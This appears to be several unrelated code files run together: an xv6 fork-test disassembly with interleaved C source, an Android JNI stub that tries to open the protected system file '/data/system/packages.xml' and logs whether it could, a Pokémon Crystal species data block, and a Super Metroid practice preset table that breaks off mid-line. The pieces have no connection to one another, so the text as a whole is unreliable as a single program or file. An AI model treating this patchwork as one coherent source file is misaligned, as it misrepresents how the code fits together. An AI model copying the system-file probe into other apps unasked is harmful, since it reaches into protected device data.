_forktest: file format elf32-i386 Disassembly of section .text: 00000000 <main>: printf(1, "fork test OK\n"); } int main(void) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 51 push %ecx e: 83 ec 04 sub $0x4,%esp forktest(); 11: e8 3a 00 00 00 call 50 <forktest> exit(); 16: e8 77 03 00 00 call 392 <exit> 1b: 66 90 xchg %ax,%ax 1d: 66 90 xchg %ax,%ax 1f: 90 nop 00000020 <printf>: #define N 1000 void printf(int fd, const char *s, ...) { 20: 55 push %ebp 21: 89 e5 mov %esp,%ebp 23: 53 push %ebx 24: 83 ec 10 sub $0x10,%esp 27: 8b 5d 0c mov 0xc(%ebp),%ebx write(fd, s, strlen(s)); 2a: 53 push %ebx 2b: e8 a0 01 00 00 call 1d0 <strlen> 30: 83 c4 0c add $0xc,%esp 33: 50 push %eax 34: 53 push %ebx 35: ff 75 08 pushl 0x8(%ebp) 38: e8 75 03 00 00 call 3b2 <write> } 3d: 83 c4 10 add $0x10,%esp 40: 8b 5d fc mov -0x4(%ebp),%ebx 43: c9 leave 44: c3 ret 45: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000050 <forktest>: void forktest(void) { 50: 55 push %ebp 51: 89 e5 mov %esp,%ebp 53: 53 push %ebx int n, pid; printf(1, "fork test\n"); for(n=0; n<N; n++){ 54: 31 db xor %ebx,%ebx write(fd, s, strlen(s)); } void forktest(void) { 56: 83 ec 10 sub $0x10,%esp #define N 1000 void printf(int fd, const char *s, ...) { write(fd, s, strlen(s)); 59: 68 3c 04 00 00 push $0x43c 5e: e8 6d 01 00 00 call 1d0 <strlen> 63: 83 c4 0c add $0xc,%esp 66: 50 push %eax 67: 68 3c 04 00 00 push $0x43c 6c: 6a 01 push $0x1 6e: e8 3f 03 00 00 call 3b2 <write> 73: 83 c4 10 add $0x10,%esp 76: eb 19 jmp 91 <forktest+0x41> 78: 90 nop 79: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(n=0; n<N; n++){ pid = fork(); if(pid < 0) break; if(pid == 0) 80: 0f 84 7c 00 00 00 je 102 <forktest+0xb2> { int n, pid; printf(1, "fork test\n"); for(n=0; n<N; n++){ 86: 83 c3 01 add $0x1,%ebx 89: 81 fb e8 03 00 00 cmp $0x3e8,%ebx 8f: 74 4f je e0 <forktest+0x90> pid = fork(); 91: e8 f4 02 00 00 call 38a <fork> if(pid < 0) 96: 85 c0 test %eax,%eax 98: 79 e6 jns 80 <forktest+0x30> if(n == N){ printf(1, "fork claimed to work N times!\n", N); exit(); } for(; n > 0; n--){ 9a: 85 db test %ebx,%ebx 9c: 74 10 je ae <forktest+0x5e> 9e: 66 90 xchg %ax,%ax if(wait() < 0){ a0: e8 f5 02 00 00 call 39a <wait> a5: 85 c0 test %eax,%eax a7: 78 5e js 107 <forktest+0xb7> if(n == N){ printf(1, "fork claimed to work N times!\n", N); exit(); } for(; n > 0; n--){ a9: 83 eb 01 sub $0x1,%ebx ac: 75 f2 jne a0 <forktest+0x50> printf(1, "wait stopped early\n"); exit(); } } if(wait() != -1){ ae: e8 e7 02 00 00 call 39a <wait> b3: 83 f8 ff cmp $0xffffffff,%eax b6: 75 71 jne 129 <forktest+0xd9> #define N 1000 void printf(int fd, const char *s, ...) { write(fd, s, strlen(s)); b8: 83 ec 0c sub $0xc,%esp bb: 68 6e 04 00 00 push $0x46e c0: e8 0b 01 00 00 call 1d0 <strlen> c5: 83 c4 0c add $0xc,%esp c8: 50 push %eax c9: 68 6e 04 00 00 push $0x46e ce: 6a 01 push $0x1 d0: e8 dd 02 00 00 call 3b2 <write> printf(1, "wait got too many\n"); exit(); } printf(1, "fork test OK\n"); } d5: 8b 5d fc mov -0x4(%ebp),%ebx d8: c9 leave d9: c3 ret da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi #define N 1000 void printf(int fd, const char *s, ...) { write(fd, s, strlen(s)); e0: 83 ec 0c sub $0xc,%esp e3: 68 7c 04 00 00 push $0x47c e8: e8 e3 00 00 00 call 1d0 <strlen> ed: 83 c4 0c add $0xc,%esp f0: 50 push %eax f1: 68 7c 04 00 00 push $0x47c f6: 6a 01 push $0x1 f8: e8 b5 02 00 00 call 3b2 <write> exit(); } if(n == N){ printf(1, "fork claimed to work N times!\n", N); exit(); fd: e8 90 02 00 00 call 392 <exit> for(n=0; n<N; n++){ pid = fork(); if(pid < 0) break; if(pid == 0) exit(); 102: e8 8b 02 00 00 call 392 <exit> #define N 1000 void printf(int fd, const char *s, ...) { write(fd, s, strlen(s)); 107: 83 ec 0c sub $0xc,%esp 10a: 68 47 04 00 00 push $0x447 10f: e8 bc 00 00 00 call 1d0 <strlen> 114: 83 c4 0c add $0xc,%esp 117: 50 push %eax 118: 68 47 04 00 00 push $0x447 11d: 6a 01 push $0x1 11f: e8 8e 02 00 00 call 3b2 <write> } for(; n > 0; n--){ if(wait() < 0){ printf(1, "wait stopped early\n"); exit(); 124: e8 69 02 00 00 call 392 <exit> #define N 1000 void printf(int fd, const char *s, ...) { write(fd, s, strlen(s)); 129: 83 ec 0c sub $0xc,%esp 12c: 68 5b 04 00 00 push $0x45b 131: e8 9a 00 00 00 call 1d0 <strlen> 136: 83 c4 0c add $0xc,%esp 139: 50 push %eax 13a: 68 5b 04 00 00 push $0x45b 13f: 6a 01 push $0x1 141: e8 6c 02 00 00 call 3b2 <write> } } if(wait() != -1){ printf(1, "wait got too many\n"); exit(); 146: e8 47 02 00 00 call 392 <exit> 14b: 66 90 xchg %ax,%ax 14d: 66 90 xchg %ax,%ax 14f: 90 nop 00000150 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 150: 55 push %ebp 151: 89 e5 mov %esp,%ebp 153: 53 push %ebx 154: 8b 45 08 mov 0x8(%ebp),%eax 157: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 15a: 89 c2 mov %eax,%edx 15c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 160: 83 c1 01 add $0x1,%ecx 163: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 167: 83 c2 01 add $0x1,%edx 16a: 84 db test %bl,%bl 16c: 88 5a ff mov %bl,-0x1(%edx) 16f: 75 ef jne 160 <strcpy+0x10> ; return os; } 171: 5b pop %ebx 172: 5d pop %ebp 173: c3 ret 174: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 17a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000180 <strcmp>: int strcmp(const char *p, const char *q) { 180: 55 push %ebp 181: 89 e5 mov %esp,%ebp 183: 56 push %esi 184: 53 push %ebx 185: 8b 55 08 mov 0x8(%ebp),%edx 188: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 18b: 0f b6 02 movzbl (%edx),%eax 18e: 0f b6 19 movzbl (%ecx),%ebx 191: 84 c0 test %al,%al 193: 75 1e jne 1b3 <strcmp+0x33> 195: eb 29 jmp 1c0 <strcmp+0x40> 197: 89 f6 mov %esi,%esi 199: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 1a0: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1a3: 0f b6 02 movzbl (%edx),%eax p++, q++; 1a6: 8d 71 01 lea 0x1(%ecx),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1a9: 0f b6 59 01 movzbl 0x1(%ecx),%ebx 1ad: 84 c0 test %al,%al 1af: 74 0f je 1c0 <strcmp+0x40> 1b1: 89 f1 mov %esi,%ecx 1b3: 38 d8 cmp %bl,%al 1b5: 74 e9 je 1a0 <strcmp+0x20> p++, q++; return (uchar)*p - (uchar)*q; 1b7: 29 d8 sub %ebx,%eax } 1b9: 5b pop %ebx 1ba: 5e pop %esi 1bb: 5d pop %ebp 1bc: c3 ret 1bd: 8d 76 00 lea 0x0(%esi),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1c0: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; 1c2: 29 d8 sub %ebx,%eax } 1c4: 5b pop %ebx 1c5: 5e pop %esi 1c6: 5d pop %ebp 1c7: c3 ret 1c8: 90 nop 1c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000001d0 <strlen>: uint strlen(const char *s) { 1d0: 55 push %ebp 1d1: 89 e5 mov %esp,%ebp 1d3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 1d6: 80 39 00 cmpb $0x0,(%ecx) 1d9: 74 12 je 1ed <strlen+0x1d> 1db: 31 d2 xor %edx,%edx 1dd: 8d 76 00 lea 0x0(%esi),%esi 1e0: 83 c2 01 add $0x1,%edx 1e3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 1e7: 89 d0 mov %edx,%eax 1e9: 75 f5 jne 1e0 <strlen+0x10> ; return n; } 1eb: 5d pop %ebp 1ec: c3 ret uint strlen(const char *s) { int n; for(n = 0; s[n]; n++) 1ed: 31 c0 xor %eax,%eax ; return n; } 1ef: 5d pop %ebp 1f0: c3 ret 1f1: eb 0d jmp 200 <memset> 1f3: 90 nop 1f4: 90 nop 1f5: 90 nop 1f6: 90 nop 1f7: 90 nop 1f8: 90 nop 1f9: 90 nop 1fa: 90 nop 1fb: 90 nop 1fc: 90 nop 1fd: 90 nop 1fe: 90 nop 1ff: 90 nop 00000200 <memset>: void* memset(void *dst, int c, uint n) { 200: 55 push %ebp 201: 89 e5 mov %esp,%ebp 203: 57 push %edi 204: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 207: 8b 4d 10 mov 0x10(%ebp),%ecx 20a: 8b 45 0c mov 0xc(%ebp),%eax 20d: 89 d7 mov %edx,%edi 20f: fc cld 210: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 212: 89 d0 mov %edx,%eax 214: 5f pop %edi 215: 5d pop %ebp 216: c3 ret 217: 89 f6 mov %esi,%esi 219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000220 <strchr>: char* strchr(const char *s, char c) { 220: 55 push %ebp 221: 89 e5 mov %esp,%ebp 223: 53 push %ebx 224: 8b 45 08 mov 0x8(%ebp),%eax 227: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 22a: 0f b6 10 movzbl (%eax),%edx 22d: 84 d2 test %dl,%dl 22f: 74 1d je 24e <strchr+0x2e> if(*s == c) 231: 38 d3 cmp %dl,%bl 233: 89 d9 mov %ebx,%ecx 235: 75 0d jne 244 <strchr+0x24> 237: eb 17 jmp 250 <strchr+0x30> 239: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 240: 38 ca cmp %cl,%dl 242: 74 0c je 250 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 244: 83 c0 01 add $0x1,%eax 247: 0f b6 10 movzbl (%eax),%edx 24a: 84 d2 test %dl,%dl 24c: 75 f2 jne 240 <strchr+0x20> if(*s == c) return (char*)s; return 0; 24e: 31 c0 xor %eax,%eax } 250: 5b pop %ebx 251: 5d pop %ebp 252: c3 ret 253: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000260 <gets>: char* gets(char *buf, int max) { 260: 55 push %ebp 261: 89 e5 mov %esp,%ebp 263: 57 push %edi 264: 56 push %esi 265: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 266: 31 f6 xor %esi,%esi cc = read(0, &c, 1); 268: 8d 7d e7 lea -0x19(%ebp),%edi return 0; } char* gets(char *buf, int max) { 26b: 83 ec 1c sub $0x1c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 26e: eb 29 jmp 299 <gets+0x39> cc = read(0, &c, 1); 270: 83 ec 04 sub $0x4,%esp 273: 6a 01 push $0x1 275: 57 push %edi 276: 6a 00 push $0x0 278: e8 2d 01 00 00 call 3aa <read> if(cc < 1) 27d: 83 c4 10 add $0x10,%esp 280: 85 c0 test %eax,%eax 282: 7e 1d jle 2a1 <gets+0x41> break; buf[i++] = c; 284: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 288: 8b 55 08 mov 0x8(%ebp),%edx 28b: 89 de mov %ebx,%esi if(c == '\n' || c == '\r') 28d: 3c 0a cmp $0xa,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 28f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 293: 74 1b je 2b0 <gets+0x50> 295: 3c 0d cmp $0xd,%al 297: 74 17 je 2b0 <gets+0x50> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 299: 8d 5e 01 lea 0x1(%esi),%ebx 29c: 3b 5d 0c cmp 0xc(%ebp),%ebx 29f: 7c cf jl 270 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 2a1: 8b 45 08 mov 0x8(%ebp),%eax 2a4: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 2a8: 8d 65 f4 lea -0xc(%ebp),%esp 2ab: 5b pop %ebx 2ac: 5e pop %esi 2ad: 5f pop %edi 2ae: 5d pop %ebp 2af: c3 ret break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 2b0: 8b 45 08 mov 0x8(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 2b3: 89 de mov %ebx,%esi break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 2b5: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 2b9: 8d 65 f4 lea -0xc(%ebp),%esp 2bc: 5b pop %ebx 2bd: 5e pop %esi 2be: 5f pop %edi 2bf: 5d pop %ebp 2c0: c3 ret 2c1: eb 0d jmp 2d0 <stat> 2c3: 90 nop 2c4: 90 nop 2c5: 90 nop 2c6: 90 nop 2c7: 90 nop 2c8: 90 nop 2c9: 90 nop 2ca: 90 nop 2cb: 90 nop 2cc: 90 nop 2cd: 90 nop 2ce: 90 nop 2cf: 90 nop 000002d0 <stat>: int stat(const char *n, struct stat *st) { 2d0: 55 push %ebp 2d1: 89 e5 mov %esp,%ebp 2d3: 56 push %esi 2d4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 2d5: 83 ec 08 sub $0x8,%esp 2d8: 6a 00 push $0x0 2da: ff 75 08 pushl 0x8(%ebp) 2dd: e8 f0 00 00 00 call 3d2 <open> if(fd < 0) 2e2: 83 c4 10 add $0x10,%esp 2e5: 85 c0 test %eax,%eax 2e7: 78 27 js 310 <stat+0x40> return -1; r = fstat(fd, st); 2e9: 83 ec 08 sub $0x8,%esp 2ec: ff 75 0c pushl 0xc(%ebp) 2ef: 89 c3 mov %eax,%ebx 2f1: 50 push %eax 2f2: e8 f3 00 00 00 call 3ea <fstat> 2f7: 89 c6 mov %eax,%esi close(fd); 2f9: 89 1c 24 mov %ebx,(%esp) 2fc: e8 b9 00 00 00 call 3ba <close> return r; 301: 83 c4 10 add $0x10,%esp 304: 89 f0 mov %esi,%eax } 306: 8d 65 f8 lea -0x8(%ebp),%esp 309: 5b pop %ebx 30a: 5e pop %esi 30b: 5d pop %ebp 30c: c3 ret 30d: 8d 76 00 lea 0x0(%esi),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 310: b8 ff ff ff ff mov $0xffffffff,%eax 315: eb ef jmp 306 <stat+0x36> 317: 89 f6 mov %esi,%esi 319: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000320 <atoi>: return r; } int atoi(const char *s) { 320: 55 push %ebp 321: 89 e5 mov %esp,%ebp 323: 53 push %ebx 324: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 327: 0f be 11 movsbl (%ecx),%edx 32a: 8d 42 d0 lea -0x30(%edx),%eax 32d: 3c 09 cmp $0x9,%al 32f: b8 00 00 00 00 mov $0x0,%eax 334: 77 1f ja 355 <atoi+0x35> 336: 8d 76 00 lea 0x0(%esi),%esi 339: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 340: 8d 04 80 lea (%eax,%eax,4),%eax 343: 83 c1 01 add $0x1,%ecx 346: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 34a: 0f be 11 movsbl (%ecx),%edx 34d: 8d 5a d0 lea -0x30(%edx),%ebx 350: 80 fb 09 cmp $0x9,%bl 353: 76 eb jbe 340 <atoi+0x20> n = n*10 + *s++ - '0'; return n; } 355: 5b pop %ebx 356: 5d pop %ebp 357: c3 ret 358: 90 nop 359: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000360 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 360: 55 push %ebp 361: 89 e5 mov %esp,%ebp 363: 56 push %esi 364: 53 push %ebx 365: 8b 5d 10 mov 0x10(%ebp),%ebx 368: 8b 45 08 mov 0x8(%ebp),%eax 36b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 36e: 85 db test %ebx,%ebx 370: 7e 14 jle 386 <memmove+0x26> 372: 31 d2 xor %edx,%edx 374: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 378: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 37c: 88 0c 10 mov %cl,(%eax,%edx,1) 37f: 83 c2 01 add $0x1,%edx char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 382: 39 da cmp %ebx,%edx 384: 75 f2 jne 378 <memmove+0x18> *dst++ = *src++; return vdst; } 386: 5b pop %ebx 387: 5e pop %esi 388: 5d pop %ebp 389: c3 ret 0000038a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 38a: b8 01 00 00 00 mov $0x1,%eax 38f: cd 40 int $0x40 391: c3 ret 00000392 <exit>: SYSCALL(exit) 392: b8 02 00 00 00 mov $0x2,%eax 397: cd 40 int $0x40 399: c3 ret 0000039a <wait>: SYSCALL(wait) 39a: b8 03 00 00 00 mov $0x3,%eax 39f: cd 40 int $0x40 3a1: c3 ret 000003a2 <pipe>: SYSCALL(pipe) 3a2: b8 04 00 00 00 mov $0x4,%eax 3a7: cd 40 int $0x40 3a9: c3 ret 000003aa <read>: SYSCALL(read) 3aa: b8 05 00 00 00 mov $0x5,%eax 3af: cd 40 int $0x40 3b1: c3 ret 000003b2 <write>: SYSCALL(write) 3b2: b8 10 00 00 00 mov $0x10,%eax 3b7: cd 40 int $0x40 3b9: c3 ret 000003ba <close>: SYSCALL(close) 3ba: b8 15 00 00 00 mov $0x15,%eax 3bf: cd 40 int $0x40 3c1: c3 ret 000003c2 <kill>: SYSCALL(kill) 3c2: b8 06 00 00 00 mov $0x6,%eax 3c7: cd 40 int $0x40 3c9: c3 ret 000003ca <exec>: SYSCALL(exec) 3ca: b8 07 00 00 00 mov $0x7,%eax 3cf: cd 40 int $0x40 3d1: c3 ret 000003d2 <open>: SYSCALL(open) 3d2: b8 0f 00 00 00 mov $0xf,%eax 3d7: cd 40 int $0x40 3d9: c3 ret 000003da <mknod>: SYSCALL(mknod) 3da: b8 11 00 00 00 mov $0x11,%eax 3df: cd 40 int $0x40 3e1: c3 ret 000003e2 <unlink>: SYSCALL(unlink) 3e2: b8 12 00 00 00 mov $0x12,%eax 3e7: cd 40 int $0x40 3e9: c3 ret 000003ea <fstat>: SYSCALL(fstat) 3ea: b8 08 00 00 00 mov $0x8,%eax 3ef: cd 40 int $0x40 3f1: c3 ret 000003f2 <link>: SYSCALL(link) 3f2: b8 13 00 00 00 mov $0x13,%eax 3f7: cd 40 int $0x40 3f9: c3 ret 000003fa <mkdir>: SYSCALL(mkdir) 3fa: b8 14 00 00 00 mov $0x14,%eax 3ff: cd 40 int $0x40 401: c3 ret 00000402 <chdir>: SYSCALL(chdir) 402: b8 09 00 00 00 mov $0x9,%eax 407: cd 40 int $0x40 409: c3 ret 0000040a <dup>: SYSCALL(dup) 40a: b8 0a 00 00 00 mov $0xa,%eax 40f: cd 40 int $0x40 411: c3 ret 00000412 <getpid>: SYSCALL(getpid) 412: b8 0b 00 00 00 mov $0xb,%eax 417: cd 40 int $0x40 419: c3 ret 0000041a <sbrk>: SYSCALL(sbrk) 41a: b8 0c 00 00 00 mov $0xc,%eax 41f: cd 40 int $0x40 421: c3 ret 00000422 <sleep>: SYSCALL(sleep) 422: b8 0d 00 00 00 mov $0xd,%eax 427: cd 40 int $0x40 429: c3 ret 0000042a <uptime>: SYSCALL(uptime) 42a: b8 0e 00 00 00 mov $0xe,%eax 42f: cd 40 int $0x40 431: c3 ret 00000432 <ps>: SYSCALL(ps) 432: b8 16 00 00 00 mov $0x16,%eax 437: cd 40 int $0x40 439: c3 ret
#include <jni.h> #include <string> #include <android/log.h> #include <errno.h> extern "C" JNIEXPORT jstring JNICALL Java_com_personal_tools_simplestvp_MainActivity_stringFromJNI( JNIEnv *env, jobject /* this */) { FILE* fp = fopen("/data/system/packages.xml","r"); if (fp != NULL){ __android_log_print(ANDROID_LOG_DEBUG,"virtualapp", "fopen success"); fclose(fp); } else{ __android_log_print(ANDROID_LOG_DEBUG,"virtualapp", "fopen fail:%s", strerror(errno)); } std::string hello = "Hello from C++"; return env->NewStringUTF(hello.c_str()); } JNIEXPORT jint JNI_OnLoad(JavaVM* vm,void*) { __android_log_print(ANDROID_LOG_DEBUG,"virtualapp","JNI OnLoad"); return JNI_VERSION_1_4; }
.repeat 16 .byte 15 .endrepeat
db 0 ; species ID placeholder db 140, 70, 45, 45, 75, 50 ; hp atk def spd sat sdf db NORMAL, NORMAL ; type db 50 ; catch rate db 109 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F75 ; gender ratio db 100 ; unknown 1 db 10 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/wigglytuff/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_FAST ; growth rate dn EGG_FAIRY, EGG_FAIRY ; egg groups ; tm/hm learnset tmhm DYNAMICPUNCH, HEADBUTT, CURSE, ROLLOUT, TOXIC, ZAP_CANNON, PSYCH_UP, HIDDEN_POWER, SUNNY_DAY, SNORE, BLIZZARD, HYPER_BEAM, PROTECT, RAIN_DANCE, ENDURE, FRUSTRATION, SOLARBEAM, THUNDER, RETURN, PSYCHIC_M, SHADOW_BALL, MUD_SLAP, DOUBLE_TEAM, ICE_PUNCH, SWAGGER, SLEEP_TALK, FIRE_BLAST, DEFENSE_CURL, THUNDERPUNCH, DREAM_EATER, DETECT, REST, ATTRACT, FIRE_PUNCH, NIGHTMARE, STRENGTH, FLASH, FLAMETHROWER, THUNDERBOLT, ICE_BEAM ; end
preset_14speed_crateria_ceres_elevator: dw #$0000 dl $7E078B : db $02 : dw $0000 ; Elevator Index dl $7E078D : db $02 : dw $AB58 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $DF45 ; MDB dl $7E079F : db $02 : dw $0006 ; Region dl $7E07C3 : db $02 : dw $E22A ; GFX Pointers dl $7E07C5 : db $02 : dw $04C0 ; GFX Pointers dl $7E07C7 : db $02 : dw $C2C1 ; GFX Pointers dl $7E07F3 : db $02 : dw $002D ; Music Bank dl $7E07F5 : db $02 : dw $0006 ; Music Track dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E093F : db $02 : dw $0000 ; Ceres escape flag dl $7E09A2 : db $02 : dw $0000 ; Equipped Items dl $7E09A4 : db $02 : dw $0000 ; Collected Items dl $7E09A6 : db $02 : dw $0000 ; Beams dl $7E09A8 : db $02 : dw $0000 ; Beams dl $7E09C0 : db $02 : dw $0000 ; Manual/Auto reserve tank dl $7E09C2 : db $02 : dw $0063 ; Health dl $7E09C4 : db $02 : dw $0063 ; Max helath dl $7E09C6 : db $02 : dw $0000 ; Missiles dl $7E09C8 : db $02 : dw $0000 ; Max missiles dl $7E09CA : db $02 : dw $0000 ; Supers dl $7E09CC : db $02 : dw $0000 ; Max supers dl $7E09CE : db $02 : dw $0000 ; Pbs dl $7E09D0 : db $02 : dw $0000 ; Max pbs dl $7E09D4 : db $02 : dw $0000 ; Max reserves dl $7E09D6 : db $02 : dw $0000 ; Reserves dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0A68 : db $02 : dw $0000 ; Flash suit dl $7E0A76 : db $02 : dw $0000 ; Hyper beam dl $7E0AF6 : db $02 : dw $0082 ; Samus X dl $7E0AFA : db $02 : dw $004B ; Samus Y dl $7E0B3F : db $02 : dw $0000 ; Blue suit dl $7ED7C0 : db $02 : dw $0000 ; SRAM copy dl $7ED7C2 : db $02 : dw $0000 ; SRAM copy dl $7ED7C4 : db $02 : dw $0000 ; SRAM copy dl $7ED7C6 : db $02 : dw $0000 ; SRAM copy dl $7ED7C8 : db $02 : dw $0800 ; SRAM copy dl $7ED7CA : db $02 : dw $0400 ; SRAM copy dl $7ED7CC : db $02 : dw $0200 ; SRAM copy dl $7ED7CE : db $02 : dw $0100 ; SRAM copy dl $7ED7D0 : db $02 : dw $4000 ; SRAM copy dl $7ED7D2 : db $02 : dw $0080 ; SRAM copy dl $7ED7D4 : db $02 : dw $8000 ; SRAM copy dl $7ED7D6 : db $02 : dw $0040 ; SRAM copy dl $7ED7D8 : db $02 : dw $2000 ; SRAM copy dl $7ED7DA : db $02 : dw $0020 ; SRAM copy dl $7ED7DC : db $02 : dw $0010 ; SRAM copy dl $7ED7DE : db $02 : dw $0000 ; SRAM copy dl $7ED7E0 : db $02 : dw $0063 ; SRAM copy dl $7ED7E2 : db $02 : dw $0063 ; SRAM copy dl $7ED7E4 : db $02 : dw $0000 ; SRAM copy dl $7ED7E6 : db $02 : dw $0000 ; SRAM copy dl $7ED7E8 : db $02 : dw $0000 ; SRAM copy dl $7ED7EA : db $02 : dw $0000 ; SRAM copy dl $7ED7EC : db $02 : dw $0000 ; SRAM copy dl $7ED7EE : db $02 : dw $0000 ; SRAM copy dl $7ED7F0 : db $02 : dw $0000 ; SRAM copy dl $7ED7F2 : db $02 : dw $0000 ; SRAM copy dl $7ED7F4 : db $02 : dw $0000 ; SRAM copy dl $7ED7F6 : db $02 : dw $0000 ; SRAM copy dl $7ED7F8 : db $02 : dw $0000 ; SRAM copy dl $7ED7FA : db $02 : dw $0000 ; SRAM copy dl $7ED7FC : db $02 : dw $0000 ; SRAM copy dl $7ED7FE : db $02 : dw $0000 ; SRAM copy dl $7ED800 : db $02 : dw $0000 ; SRAM copy dl $7ED802 : db $02 : dw $0001 ; SRAM copy dl $7ED804 : db $02 : dw $0001 ; SRAM copy dl $7ED806 : db $02 : dw $0001 ; SRAM copy dl $7ED808 : db $02 : dw $0000 ; SRAM copy dl $7ED80A : db $02 : dw $0000 ; SRAM copy dl $7ED80C : db $02 : dw $0000 ; SRAM copy dl $7ED80E : db $02 : dw $0000 ; SRAM copy dl $7ED810 : db $02 : dw $0000 ; SRAM copy dl $7ED812 : db $02 : dw $0000 ; SRAM copy dl $7ED814 : db $02 : dw $0000 ; SRAM copy dl $7ED816 : db $02 : dw $0000 ; SRAM copy dl $7ED818 : db $02 : dw $0000 ; SRAM copy dl $7ED81A : db $02 : dw $0000 ; SRAM copy dl $7ED81C : db $02 : dw $0000 ; SRAM copy dl $7ED81E : db $02 : dw $0000 ; SRAM copy dl $7ED820 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED822 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED824 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED826 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED828 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED82A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED82C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED82E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED830 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED832 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED834 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED836 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED838 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED83A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED83C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED83E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED840 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED842 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED844 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED846 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED848 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED84A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED84C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED84E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED850 : db $02 : dw $0000 ; Events, Items, Doors dl 